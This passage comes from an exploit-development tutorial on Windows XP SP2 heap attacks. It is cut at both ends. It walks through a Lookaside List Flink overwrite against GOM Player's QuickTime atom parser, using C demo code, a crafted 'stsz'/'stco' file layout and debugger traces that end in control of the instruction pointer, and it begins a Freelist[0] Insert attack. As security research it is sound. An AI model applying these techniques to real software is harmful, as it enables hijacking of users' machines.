specific function pointer.&#160; We could find pointers that would satisfy our 2 conditions described above in order to land in the general region of our chosen function pointer.&#160; Then, we could continue writing until the function pointer is overwritten.&#160; Again, this method is a bit more difficult, a bit less reliable, and a bit more confusing than I wanted to document for the purpose of this article.<\/p>\n<p>And finally, I\u2019d just like to reiterate the fact that targeting these types of heap corruption issues in applications which don\u2019t provide us with some method of spraying the heap can be extremely difficult to exploit.&#160; In this case, we were incredibly lucky in the fact that the heap state was very deterministic.&#160; I have seen far more times than I\u2019d like to count where the type and number of allocations varied greatly between application runs.&#160; This makes determining locations and offsets within the heap nearly impossible without having a great deal of control over further allocations and frees against our targeted heap.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>Generic Exploitation Methods<\/h3>\n<p>In this section, I\u2019d like to briefly discuss 3 popular methods for circumventing the security protections implemented into the XP SP2 heap manager, how they apply to our application specific overflow, and why I chose not to use these methods for exploitation.&#160; I will not be going into great depth with these methods, therefore some details may be omitted for brevity.&#160; Functional use of these exploitation methods will be left up to you to complete.<\/p>\n<p>&#160;<\/p>\n<h4>Lookaside List Overwrite<\/h4>\n<h5>Overview<\/h5>\n<p>As we had discussed earlier, the advent of XP SP2 saw the addition of safe-unlinking.&#160; This check would ensure that a chunk residing on the Freelist would have it\u2019s Flink and Blink pointers validated prior to unlinking.&#160; If this check failed, the chunk would be reported as corrupt and discarded.&#160; Therefore, successfully preventing you from performing an arbitrary 4-byte write.<\/p>\n<p>What Microsoft didn\u2019t consider at the time was that the Lookaside Lists, which are organized into singly-linked lists, could also be abused during the unlink process in order to gain the ability to perform arbitrary writes.&#160; And, as this is a singly-linked list, the safe-unlink check does not apply.<\/p>\n<p>This technique was first described in October of 2004 by Alexander Anisimov.&#160; A link to his paper can be found <a href=\"http:\/\/www.ptsecurity.com\/download\/defeating-xpsp2-heap-protection.pdf\" target=\"_blank\" rel=\"noopener\">here<\/a>.<\/p>\n<p>To better explain, let\u2019s take a look at the following code:<\/p>\n<blockquote>\n<p>Quick note \u2013 In order to properly debug this, you\u2019ll need to patch debugging functions using the following command:<\/p>\n<p><strong>!py mona hidedebug<\/strong><\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\n\nint main( void )\n{\n    void *a,*b,*c,*d;\n    void *hHeap;\n\n    hHeap = HeapCreate(0x00040000,0,0);\n    printf (&quot;hHeap == 0x%p\\n&quot;, hHeap);\n\n    a = HeapAlloc(hHeap,0x00000008,8);\n    b = HeapAlloc(hHeap,0x00000008,8);\n    printf (&quot;Allocated:\\n  a == 0x%p\\n  b == 0x%p\\n&quot;, a, b);\n\n    HeapFree(hHeap, 0, b);\n\n    char str1[] = { 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x02, 0x00, 0x02, 0x00, 0x7e, 0x01, 0x08, 0x00, 0x42, 0x42, 0x42, 0x42 };\n\n    \/\/ memcpy writes beyond the bounds of &quot;a&quot; into the heap header of &quot;b&quot;\n    memcpy ( a, str1, sizeof(str1));\n\n    \/\/ Pop valid chunk from the list\n    c = HeapAlloc(hHeap,0x00000008,8);\n\n    \/\/ Return arbitrary pointer\n    d = HeapAlloc(hHeap,0x00000008,8);\n\n    printf (&quot;Allocated:\\n  c == 0x%p\\n  d == 0x%p\\n&quot;, c, d);\n}<\/pre>\n<p>In this example, we begin by creating a new heap and allocating 2 chunks from it, (\u201ca\u201d and \u201cb\u201d) with a size of 0x8 bytes.&#160; Next, \u201cb\u201d will be freed back to the heap.&#160; As this chunk is less than 1024 bytes, it will be freed to LAL[2] (since it has a user size of 0x8 bytes).&#160; This will leave our LAL structure as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">LAL [2] @0x005406e8, Expected Chunksize 0x10 (16), Flink : 0x00541ea0\n     ChunkPtr: 0x00541e98, UserPtr: 0x00541ea0, Flink: 0x00000000, ChunkSize: 0x10, UserSize: 0x8, Userspace: 0x8 (Busy)<\/pre>\n<p>Please note that the Flink of our LAL list head points to our first chunk located at 0x00541EB0 and that the Flink of our chunk, as it is the last and only one, is currently set to 0x00000000.<\/p>\n<p>Next, our code issues a call to memcpy in order to copy a string of hex values from str1 to allocation \u201cb\u201d.<\/p>\n<p>A quick note on the data being copied here.&#160; The first 8 bytes contain only 0x41.&#160; This is used to fill our allocated buffer size.&#160; The remaining 12 bytes will then be used to overflow the bounds of our allocated buffer and overwrite our LAL chunk header.&#160; The last 4 bytes, 0x42424242, are the most important as they will be used to overwrite the Flink of our freed chunk (\u201cb\u201d).<\/p>\n<p>After our call to memcpy, our LAL structure will look as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">LAL [2] @0x005406e8, Expected Chunksize 0x10 (16), Flink : 0x00541ea0\n     ChunkPtr: 0x00541e98, UserPtr: 0x00541ea0, Flink: 0x42424242, ChunkSize: 0x10, UserSize: 0x8, Userspace: 0x8 (Busy) \n     ChunkPtr: 0x4242423a, UserPtr: 0x42424242, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x8 (Free) \n               ^^ ** Warning - unexpected size value, header corrupted ? **<\/pre>\n<p>Excellent!&#160; Here we can see that we\u2019ve successfully overwritten the Flink of our LAL entry with the value 0x42424242.&#160; Looking ahead in our code, we can see that we have another allocation request of 0x08 bytes (\u201cc\u201d).&#160; This request will return the LAL chunk located at 0x00541EB0 (UserPtr).&#160; The result of which, will leave our LAL structure looking as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">LAL [2] @0x005406e8, Expected Chunksize 0x10 (16), Flink : 0x42424242\n     ChunkPtr: 0x4242423a, UserPtr: 0x42424242, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) \n               ^^ ** Warning - unexpected size value, header corrupted ? **<\/pre>\n<p>And with this we can see that our next available chunk is located at 0x42424242.&#160; Clearly, a valid heap chunk does not exist at this location.&#160; However, as long as 0x42424242 is a readable (and preferably writable) address, which it currently is not, our final call to HeapAlloc will return a pointer to 0x42424242.&#160; This means that if we can control the data being written during our final allocation, we can perform an arbitrary write of up to 0x8 bytes (as this is the maximum size of our LAL entry)***.<\/p>\n<blockquote>\n<p>Targeting other Lookaside Lists will likely provide you with the ability to overwrite a significantly greater amount of data.&#160; For example, LAL[127] may allow you to write up to 1016 bytes!<\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<h5>Application Specific Technique<\/h5>\n<p>The first hurdle that we must overcome when applying this type of attack is to determine if we can in fact overwrite the Flink of a Lookaside List entry.&#160; To do so, let\u2019s set a breakpoint at the start of our function and using !mona, determine what free chunks are available to us:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x03200178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x03207148, Header: 0x8 bytes, UserPtr: 0x03207150, Flink: 0x03208108, Blink: 0x03200178, ChunkSize: 0x6b0 (1712), Usersize: 0x6b0 (1712) \n     ChunkPtr: 0x03208100, Header: 0x8 bytes, UserPtr: 0x03208108, Flink: 0x03205e08, Blink: 0x03207150, ChunkSize: 0xf00 (3840), Usersize: 0xf00 (3840) \n     ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208108, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300) \n\nLAL [15] @0x03200958, Expected Chunksize 0x78 (120), Flink : 0x03202400\n     ChunkPtr: 0x032023f8, UserPtr: 0x03202400, Flink: 0x00000000, ChunkSize: 0x78, UserSize: 0x6c, Userspace: 0x70 (Busy) \n<strong><span style=\"color: #ffff00\">LAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x03205ab8\n     ChunkPtr: 0x03205ab0, UserPtr: 0x03205ab8, Flink: 0x00000000, ChunkSize: 0x48, UserSize: 0x39, Userspace: 0x40 (Busy)<\/span><\/strong>\nLAL [11] @0x03200898, Expected Chunksize 0x58 (88), Flink : 0x03207048\n     ChunkPtr: 0x03207040, UserPtr: 0x03207048, Flink: 0x00000000, ChunkSize: 0x58, UserSize: 0x4c, Userspace: 0x50 (Busy) \n<strong><span style=\"color: #ffff00\">LAL [5] @0x03200778, Expected Chunksize 0x28 (40), Flink : 0x03205a08\n     ChunkPtr: 0x03205a00, UserPtr: 0x03205a08, Flink: 0x00000000, ChunkSize: 0x28, UserSize: 0x1c, Userspace: 0x20 (Busy)<\/span><\/strong>\nLAL [13] @0x032008f8, Expected Chunksize 0x68 (104), Flink : 0x03205788\n     ChunkPtr: 0x03205780, UserPtr: 0x03205788, Flink: 0x00000000, ChunkSize: 0x68, UserSize: 0x5c, Userspace: 0x60 (Busy)<\/pre>\n<p>Good.&#160; Here we can see that LAL[5] and LAL[9] are (nearly)* adjacent to each other.&#160; If we can trigger our writes to occur within LAL[15], after writing 0xB4 bytes we can successfully overwrite the Flink of LAL[9].<\/p>\n<blockquote>\n<p>Two small allocated heap chunks exist between LAL[5] and [9].&#160; This information can be found by using the following command:<\/p>\n<p><strong>!py mon heap \u2013h 03200000 \u2013t all<\/strong><\/p>\n<\/blockquote>\n<p>To do so, we\u2019ll need to set our \u201cNumber of Entries\u201d to 0x80000008.&#160; This will trigger an allocation size of 0x20 (0x8 * 4) bytes, leaving 8 bytes for the addition of the LAL header and ensuring that our allocation uses the pointer specified by LAL[5].&#160; Next, to ensure that we write enough data to overwrite the Flink of LAL[9], we\u2019ll need to set the size element of our \u201cstsz\u201d atom to 0xC8 and pad the atom to meet this value.&#160; This will cause our vulnerable function to write the contents of our \u201csample size table\u201d, which is 0xA8 bytes to be exact.<\/p>\n<p>Furthermore, for demonstration purposes I\u2019ve also gone ahead and replaced the contents of the \u201cSample Size Table\u201d with the repeating value \u201c0x41,\u201d and specifically changed the last 4 bytes to 0x78787878 (\u201cxxxx\u201d).&#160; These final 4 bytes will be used to overwrite the Flink of LAL[9].&#160; This will leave our sample with the following structure:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><strong><span style=\"color: #ffff00\">Size:  0x000000C8 (Triggers a write of 0xA8 bytes)<\/span><\/strong>\nType:  0x7374737A (ASCII stsz) \nVersion:  0x00 \nFlags:  0x000000 \nSample Size: 0x00000000\n<strong><span style=\"color: #ffff00\">Number of Entries: 0x80000001C (Triggers an allocation of 0x70 bytes)<\/span><\/strong>\nSample Size Table(1):  0x41414141 (&quot;AAAA&quot;)\nSample Size Table(2):  0x41414141 (&quot;AAAA&quot;)\n...\nFinal 4 Bytes: 0x78787878 (&quot;xxxx&quot;)<\/pre>\n<blockquote>\n<p>If you\u2019re having difficulty understanding the changes that we\u2019re making within the file format, don\u2019t worry.&#160; I\u2019ve included a full proof of concept at the end of this section which implements the structure discussed here.<\/p>\n<\/blockquote>\n<p>Saving these changes and observing in our debugger, we can see that our writes are in fact occurring in the correct chunk:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">LAL [5] @0x03200778, Expected Chunksize 0x28 (40), <strong><span style=\"color: #ffff00\">Flink : 0x03205a08,<\/span><\/strong> ChunkPtr: 0x03205a00, UserPtr: 0x03205a08, Flink: 0x00000000, ChunkSize: 0x28, UserSize: 0x1c, Userspace: 0x20 (Busy)\n\neax=00000000 ebx=000000b4 ecx=03205a08 edx=41414141 esi=03207164 edi=03207100\neip=03b34989 esp=0012bdb4 ebp=03207150 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206\nGSFU!DllUnregisterServer+0x236a9:\n<strong><span style=\"color: #ffff00\">03b34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:03205a08=00000000<\/span><\/strong><\/pre>\n<p>And if we were to set a write access breakpoint on the UserPtr of LAL[5], we can see that the Flink is overwritten with our chosen value of 0x78787878 (\u201cxxxx\u201d).<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">eax=0000002c ebx=00000004 ecx=03205a08 <strong><span style=\"color: #ffff00\">edx=78787878<\/span><\/strong> esi=03207214 edi=03207100\neip=03b34989 esp=0012bdb4 ebp=03207150 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206\nGSFU!DllUnregisterServer+0x236a9:\n<strong><span style=\"color: #ffff00\">03b34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:03205ab8=00000000<\/span><\/strong>\n\nLAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x03205ab8\n  2 chunks:\n     ChunkPtr: 0x03205ab0, UserPtr: 0x03205ab8, <strong><span style=\"color: #ffff00\">Flink: 0x78787878<\/span><\/strong>, ChunkSize: 0x20a08, UserSize: 0x209c7, Userspace: 0x20a00 (FFU-2,Busy) \n               ^^ ** Warning - unexpected size value, header corrupted ? **\n     ChunkPtr: 0x78787870, UserPtr: 0x78787878, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) \n               ^^ ** Warning - unexpected size value, header corrupted ? **<\/pre>\n<p>Excellent.&#160; So now that we\u2019ve overwritten the Flink of a Lookaside List entry, we\u2019ll next need to trigger two allocations of that particular size.&#160; In this case, we\u2019ll need to control two allocations of 0x40 bytes (and 0x8 bytes are used for the LAL entry header, bringing the total consumed space for each allocation to 0x48).&#160; The first allocation will return the pointer, 0x03205AB8 as specified by the first LAL entry header.&#160; The second allocation will return a pointer to whatever value we\u2019ve specified as our Flink (as long as this value points to a location that is both readable and writable).<\/p>\n<p>Now to help us determine which allocations we can control, we\u2019ll set the following 2 breakpoints which will output the size and locations of both allocations and frees which belong to the private heap located at 0x03200000.&#160; Please note that we need to apply these breakpoints after the Flink of our targeted LAL entry has been overwritten.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">bp ntdll!RtlAllocateHeap+0x117 &quot;j (poi(@esp+4)==0x03200000) '.printf \\&quot;RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\\\n\\&quot;, poi(@esp+4), poi(esp+c), eax; g'; 'g';&quot;\nbp ntdll!RtlFreeHeap &quot;j ((poi(esp+4)==0x03200000) &amp; (poi(esp+c)!=0)) '.printf \\&quot;RtlFreeHeap hHeap (0x%p), size=0x%p\\\\n\\&quot;, poi(esp+c), wo(poi(esp+c)-8)*8-8; dc poi(esp+c) LC; .echo; g'; 'g';&quot;<\/pre>\n<p>With that said, let\u2019s continue execution.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">RtlFreeHeap hHeap (0x03207150), size=0x000000c8\n03207150  c8000000 7a737473 00000000 00000000  ....stsz........\n03207160  08000080 41414141 41414141 41414141  ....AAAAAAAAAAAA\n03207170  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA\n\nRtlAllocateHeap hHEAP 0x03200000, size=0x48, chunk at 0x03207240\nRtlAllocateHeap hHEAP 0x03200000, size=0x8c, chunk at 0x03207290\nRtlAllocateHeap hHEAP 0x03200000, size=0x10, chunk at 0x03207328\nRtlAllocateHeap hHEAP 0x03200000, size=0xf8, chunk at 0x03207340\nRtlFreeHeap hHeap (0x03207290), size=0x00000090\n03207290  8c000000 6f637473 00000000 1f000000  ....stco........\n032072a0  d0140000 85a90000 014f0100 a9f30100  ..........O.....\n032072b0  cd980200 0d3f0300 c1e40300 958a0400  ......?.........<\/pre>\n<p>Interesting.&#160; Here we can see that shortly after our overwrite, the \u201cstsz\u201d atom is freed.&#160; What\u2019s more interesting however is that after a series of allocations, the \u201cstco\u201d atom, the next atom in our file, is also freed.&#160; Looking at either the sizes or contents of these allocations, we can see that two in particular are of interest to us.&#160; The first allocation located at 0x03207290 with a size of 0x8C contains the entire \u201cstco\u201d atom.&#160; As 0x8C is the same number specified as the \u201csize\u201d element for the \u201cstco\u201d atom, we can assume (correctly) that by modifying this value, we can control the size of the allocation.<\/p>\n<p>The next atom of interest is allocated to 0x03207340 with a size of 0xF8.&#160; If we were to follow this function or look at the contents of the allocated block just prior to our free, we can see that it contains a somewhat mutated version of the \u201cChunk Offset Table\u201d; a sub-table of the \u201cstco\u201d atom.&#160; The specifics of which can be found in the QuickTime File Format Specification found <a href=\"https:\/\/web.archive.org\/web\/20081230112945\/http:\/\/developer.apple.com:80\/documentation\/QuickTime\/QTFF\/qtff.pdf\" target=\"_blank\" rel=\"noopener\">here<\/a>.<\/p>\n<p>Now without going into the all the details, the \u201cNumber of Entries\u201d element within the \u201cstco\u201d atom is passed to a copy of our buggy _calloc function where it is multiplied by 0x8.&#160; This in turn, triggers an allocation of 0xF8 bytes.&#160; So knowing this, by manipulating the \u201cNumber of Entries\u201d element, we can control the size of this allocation.<\/p>\n<p>So, with this information it appears that we have enough control over our allocations to return an arbitrary pointer to an allocation request that we can control.&#160; However, in order to do so, we\u2019ll first need to modify the size of the \u201cstco\u201d atom so that it matches our corrupted Lookaside List entry.&#160; This means that we\u2019ll need to set the \u201csize\u201d element to 0x40 bytes (again, subtracting 0x8 bytes from 0x48 to account for the LAL entry header).&#160; Next, we\u2019ll need to trim the contents of this atom to match.&#160; And finally, as our \u201cNumber of Entries\u201d element is used to control the size of the allocation request that will eventually hold the \u201cChunk Offset Table\u201d, we\u2019ll need to change this element to 0x8 (0x8*0x8==0x40).&#160; And finally, let\u2019s change the first 4 bytes of our \u201cChunk Offset Table\u201d to 0x79797979 (\u201cyyyy\u201d) and all following bytes to repeating 0x42 (\u201cB\u201d).&#160; This will be the data that we write to our arbitrary location.<\/p>\n<p>With that, our \u201cstco\u201d atom will have the following structure:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><strong><span style=\"color: #ffff00\">Size:  0x00000040 (Triggers an allocation of 0x40 bytes)<\/span><\/strong>\nType:  0x7374636F (ASCII stco) \nVersion:  0x00 \nFlags:  0x000000 \n<strong><span style=\"color: #ffff00\">Number of Entries: 0x000000008 (Triggers an allocation of 0x40 bytes)<\/span><\/strong>\nChunk Offset Table(1):  0x79797979 (&quot;yyyy&quot;)\nChunk Offset Table(1):  0x42424242 (&quot;BBBB&quot;)\n...<\/pre>\n<p>Before we test our sample file, we\u2019ll also need to replace the string, \u201cxxxx\u201d within the \u201cstsz\u201d atom to point to a valid, writable location.&#160; This is because when ntdll!RtlAllocateHeap attempts to retrieve the chunk pointed to by LAL[9], the address must be both readable and writable, otherwise the free chunk in question will be discarded.This could be a writable function pointer similar to the one we discussed in the previous section.&#160; For the sake of this discussion, I\u2019ve chosen a function pointer called by ntdll.dll located 0x7C97F32C.<\/p>\n<p>Now to demonstrate this attack, I\u2019ve provided a proof of concept which applies the structure discussed above.&#160; Please note, this sample will only demonstrate control over the instruction pointer and will NOT execute arbitrary code.&#160; I leave this task to you to complete.<\/p>\n<blockquote>\n<p>Please note that this proof of concept may not work reliably!&#160; For reasons why, please see the \u201cWhy Not?\u201d section below.<\/p>\n<\/blockquote>\n<p>And with that, let\u2019s go ahead and monitor how the application handles our proof of concept within a debugger.&#160; First, let\u2019s set a break point on our write instruction.&#160; Once this has been triggered, we\u2019ll go ahead and set a breakpoint on all allocation requests destined for the private heap located at 0x03200000.&#160; This time, instead of automatically continuing execution, we\u2019re going to step through each allocation.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; bp ntdll!RtlAllocateHeap+0x117 &quot;j (poi(@esp+4)==0x03200000) '.printf \\&quot;RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\\\n\\&quot;, poi(@esp+4), poi(esp+c), eax'; 'g';&quot;\nRtlAllocateHeap hHEAP 0x03200000, size=0x48, chunk at 0x03207240\n\nLAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x03205ab8\n  4 chunks:\n<strong><span style=\"color: #ffff00\">     ChunkPtr: 0x03205ab0, UserPtr: 0x03205ab8, Flink: 0x7c97f32c, ChunkSize: 0x20a08, UserSize: 0x209c7, Userspace: 0x20a00 (FFU-2,Busy) <\/span><\/strong>\n               ^^ ** Warning - unexpected size value, header corrupted ? **\n     ChunkPtr: 0x7c97f324, UserPtr: 0x7c97f32c, Flink: 0x7c811788, ChunkSize: 0x3fc0, UserSize: 0x3fc0, Userspace: 0x3fb8 (Free) \n               ^^ ** Warning - unexpected size value, header corrupted ? **\n     ChunkPtr: 0x7c811780, UserPtr: 0x7c811788, Flink: 0x8b55ff8b, ChunkSize: 0x0, UserSize: 0x-90, Userspace: 0x-8 (No Coalesce,Last) \n               ^^ ** Warning - unexpected size value, header corrupted ? **\n     ChunkPtr: 0x8b55ff83, UserPtr: 0x8b55ff8b, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) \n               ^^ ** Warning - unexpected size value, header corrupted ? **\n\n<strong><span style=\"color: #ffff00\">RtlAllocateHeap hHEAP 0x03200000, size=0x40, chunk at 0x03205ab8<\/span><\/strong><\/pre>\n<p>Good.&#160; Here we can see that our \u201cstco\u201d heap chunk is allocated using the top entry of LAL[9].&#160; This will cause this entry to be popped from the list and returned to the application.&#160; If we were to continue stepping through the application, we would see that the top entry of our LAL now points to the function pointer we\u2019ve defined in our file.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">RtlAllocateHeap hHEAP 0x03200000, size=0x10, chunk at 0x03207290\n\nLAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x7c97f32c\n  3 chunks:\n     <strong><span style=\"color: #ffff00\">ChunkPtr: 0x7c97f324, UserPtr: 0x7c97f32c, Flink: 0x7c811788, ChunkSize: 0x3fc0, UserSize: 0x3fc0, Userspace: 0x3fb8 (Free)<\/span><\/strong> \n               ^^ ** Warning - unexpected size value, header corrupted ? **\n     ChunkPtr: 0x7c811780, UserPtr: 0x7c811788, Flink: 0x8b55ff8b, ChunkSize: 0x0, UserSize: 0x-90, Userspace: 0x-8 (No Coalesce,Last) \n               ^^ ** Warning - unexpected size value, header corrupted ? **\n     ChunkPtr: 0x8b55ff83, UserPtr: 0x8b55ff8b, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) \n               ^^ ** Warning - unexpected size value, header corrupted ? **\n\n<strong><span style=\"color: #ffff00\">RtlAllocateHeap hHEAP 0x03200000, size=0x40, chunk at 0x7c97f32c<\/span><\/strong><\/pre>\n<p>Excellent.&#160; And with our allocation request for the \u201cchunk offset table\u201d, we can see that our arbitrary pointer (0x7C97F32C) has been returned to the application.&#160; Clearing all break points and continuing execution we can see that we\u2019ve now gained control over the instruction pointer.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; bc *\n0:000&gt; g\nModLoad: 75f40000 75f51000   C:\\WINDOWS\\system32\\devenum.dll\n(890.89c): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=00255178 ebx=7ffdb000 ecx=00255208 edx=00251e90 esi=002551c0 edi=75f40000\neip=79797979 esp=0012c028 ebp=0012c09c iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206\n<strong><span style=\"color: #ffff00\">79797979 ??              ???<\/span><\/strong><\/pre>\n<p>&#160;<\/p>\n<h5>Why Not?<\/h5>\n<p>There are several issues with applying this attack to our GOM specific vulnerability which may cause exploitation to be unreliable and difficult.&#160; First of all, I noticed a number of discrepancies in regards to the heap state when attempting to allocate chunks from the LAL with the \u201cstsz\u201d atom.&#160; At times, the offset of these chunks would vary, therefore causing the initial overwrite of the LAL entry\u2019s Flink, to fail.&#160; During testing, I was unable to identify a method for making the state of LAL entries within this heap deterministic enough to be considered reliable.&#160; If the proof of concept provided above fails, you will need to modify the allocation requests in order to match the appropriate LAL entries.<\/p>\n<p>Furthermore, as this exploitation technique specifically targets the Lookaside List structure which does not exist in later versions of Windows, the arbitrary write technique described above is&#160; preferred over this method.<\/p>\n<p>&#160;<\/p>\n<h4>Brett Moore: Wrecking Freelist[0] Since 2005<\/h4>\n<p>After the release of Service Pack 2 and the introduction of heap cookies and safe-unlinking, researchers were quickly looking for new methods to replace their now defunct heap exploitation techniques.&#160; Although several new tactics were identified by a number of researchers, in my opinion no one has contributed as much to the exploitation and understanding of the XP &gt; SP2 Heap Manager than Brett Moore.&#160; In 2005, shortly after the release of SP2, Brett Moore released details regarding 2 attacks, the Freelist[0] Relinking and Searching attacks.&#160; Then in 2008, he followed up on his previous work with the addition of the Freelist[0] Insert attack as well as a number of other possible techniques in his 2008 presentation, Heaps about Heaps.<\/p>\n<p>&#160;<\/p>\n<h4>Freelist[0] Insert Attack<\/h4>\n<h5>Overview<\/h5>\n<p>The Freelist Insert, or Linking attack, was first described by Brett Moore in his 2008 presentation, Heaps about Heaps.&#160; It is in my opinion one of the easiest generic exploitation techniques to perform which targets the dedicated Freelist.&#160; It works by overwriting the Blink pointer of a Freelist entry. A free chunk is then inserted prior to (i.e. smaller than) the corrupted chunk.&#160; During the linking process, the heap manager will follow the value specified by our corrupted Blink pointer and then write a pointer to the newly inserted chunk at the address specified by corrupted Blink pointer.&#160; Successful exploitation of this attack relies on the ability to overwrite the Blink pointer and control the Freeing of at least one chunk after corrupting a chunk in Freelist[0].&#160; To better explain this concept, let\u2019s take a look at the Freelist structure below:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8), Flink: 0x00165000\n     ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x00166000, Blink: 0x00160178, ChunkSize: 0x500 (1280), Usersize: 0x500 (1280) \n     ChunkPtr: 0x00165FF8, Header: 0x8 bytes, UserPtr: 0x00166000, Flink: 0x00167000, Blink: 0x00165000, ChunkSize: 0x600 (1536), Usersize: 0x600 (1536) \n     ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x700 (1792), Usersize: 0x700 (1792)<\/pre>\n<p>Here we can see that Freelist[0] has been populated with 3 chunks with sizes of 0x500, 0x600, and 0x700 respectively.&#160; It\u2019s important to note here that the heap manager will always traverse the chunks in Freelist[0], during an allocation request, from smallest to largest.&#160; Now, imagine that we were to trigger an overflow into our first chunk at Freelist[0].&#160; For the sake of simplicity, the overflow will maintain the same size values as that of the valid chunk metadata however, the Flink and Blink will have been changed to 0x41414141 and 0x42424242 respectively.&#160; This would leave our heap structure looking as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px 